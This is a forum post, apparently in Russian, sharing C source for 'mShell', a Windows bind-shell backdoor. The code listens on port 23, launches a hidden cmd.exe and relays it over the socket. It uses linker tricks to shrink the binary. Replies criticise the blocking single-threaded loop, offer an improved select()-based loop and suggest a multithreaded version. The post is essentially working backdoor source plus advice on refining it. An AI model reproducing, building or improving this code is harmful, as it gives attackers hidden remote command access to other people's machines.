Code: //mShell by D-oNe, All WIN*, based on code by Delikon #pragma optimize("gsy",on) #pragma comment(linker,"/RELEASE") #pragma comment(linker,"/ENTRY:EntryPoint") #pragma comment(linker,"/MERGE:.rdata=.data") #pragma comment(linker,"/MERGE:.text=.data") #pragma comment(linker,"/MERGE:.reloc=.data") #pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078") #pragma comment(linker,"/FILEALIGN:0x200") #pragma comment(linker,"/subsystem:windows") #include <windows.h> #include <winsock.h> const int port = 23; void Shell(int port) { WSADATA wsadata; SOCKET shellsock, sendsock; SOCKADDR_IN sin; HANDLE hPipeRead1, hPipeWrite1, hPipeRead2, hPipeWrite2; char szBuffer[4096], szCmdPath[MAX_PATH]; int i, count = 0; DWORD lpNumberOfBytesRead; SECURITY_ATTRIBUTES secu = { (DWORD)sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; STARTUPINFO sInfo; PROCESS_INFORMATION pInfo; WSAStartup(MAKEWORD(2,2), &wsadata); sin.sin_family = AF_INET; sin.sin_addr.s_addr = 0; sin.sin_port = htons(port); i = sizeof (sin); shellsock = socket (AF_INET, SOCK_STREAM, 0); bind(shellsock, (SOCKADDR *)&sin, sizeof(sin)); listen(shellsock, 0); sendsock = accept(shellsock,(SOCKADDR *)&sin, &i); if (sendsock == INVALID_SOCKET) ExitProcess(0); CreatePipe(&hPipeRead1, &hPipeWrite1, &secu, 0); CreatePipe(&hPipeRead2, &hPipeWrite2, &secu, 0); GetEnvironmentVariable("ComSpec", szCmdPath, sizeof(szCmdPath)); memset(&sInfo, 0, sizeof(sInfo)); memset(&pInfo, 0, sizeof(pInfo)); sInfo.cb=sizeof (STARTUPINFO); sInfo.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; sInfo.wShowWindow=SW_HIDE; sInfo.hStdInput = hPipeRead2; sInfo.hStdOutput = hPipeWrite1; sInfo.hStdError = hPipeWrite1; CreateProcess(NULL, szCmdPath, &secu, &secu, TRUE, 0, NULL, NULL, &sInfo, &pInfo); while (sendsock != SOCKET_ERROR) { Sleep (100); memset(szBuffer, 0, sizeof(szBuffer)); PeekNamedPipe(hPipeRead1, NULL, NULL, NULL, &lpNumberOfBytesRead, NULL); while (lpNumberOfBytesRead) { Sleep (200); if (!ReadFile(hPipeRead1, szBuffer, sizeof(szBuffer), &lpNumberOfBytesRead, NULL)) break; else send(sendsock, szBuffer, lpNumberOfBytesRead, 0); PeekNamedPipe(hPipeRead1, NULL, NULL, NULL, &lpNumberOfBytesRead, NULL); } Sleep (200); i = recv (sendsock,szBuffer,sizeof(szBuffer),0); if (sendsock == 0) { count++; if (count > 1) break; } if (!strstr(szBuffer, "exit") == 0) { closesocket(sendsock); closesocket(shellsock); TerminateProcess(pInfo.hProcess, 0); ExitProcess(0); } else WriteFile(hPipeWrite2, szBuffer, i, &lpNumberOfBytesRead, 0); } closesocket(sendsock); closesocket(shellsock); TerminateProcess(pInfo.hProcess, 0); ExitProcess(0); return; } void EntryPoint() { Shell(port); }
Цыкл на чтение и запись с труб странно сделан, однопоточный, работа сокетов блокирующих (синхронные),даже влом постаить было буфер (0xFFF 4095) (экономия стекой памяти) вообщем руки кривые =)
вот можно еще и так ))) while (GetExitCodeProcess(pIf.hProcess,&lpExit) && lpExit== STILL_ACTIVE) { DWORD BytesToRead; DWORD BytesTotal; while (PeekNamedPipe(hInRead,buffer,0x1FFF,&BytesToRead,&BytesTotal,NULL) && BytesToRead) { ReadFile(hInRead,buffer,0x1FFF,&BytesToRead,NULL); send(Sock,buffer,BytesToRead,0); } fd_set f_set; FD_ZERO(&f_set); FD_SET(Sock,&f_set); timeval timeout; timeout.tv_sec = 0; timeout.tv_usec = 5000; int Err = select(0,&f_set,NULL,NULL,&timeout); if (Err == SOCKET_ERROR) break; int RecvBytes; if (FD_ISSET(Sock,&f_set)) { RecvBytes = recv(Sock,buffer,0x1FFF,0); if (RecvBytes <=0) break; DWORD BytesWritten; WriteFile(hOutWrite,buffer,RecvBytes,&BytesWritten,0); MZero(buffer,0x1FFF); } }
Этот шелл закроется после дисконнекта клиента. Может лучше было бы сделать многопоточный шелл, чтобы на каждый коннект был свой поток? См. исходник Cr4sh`a.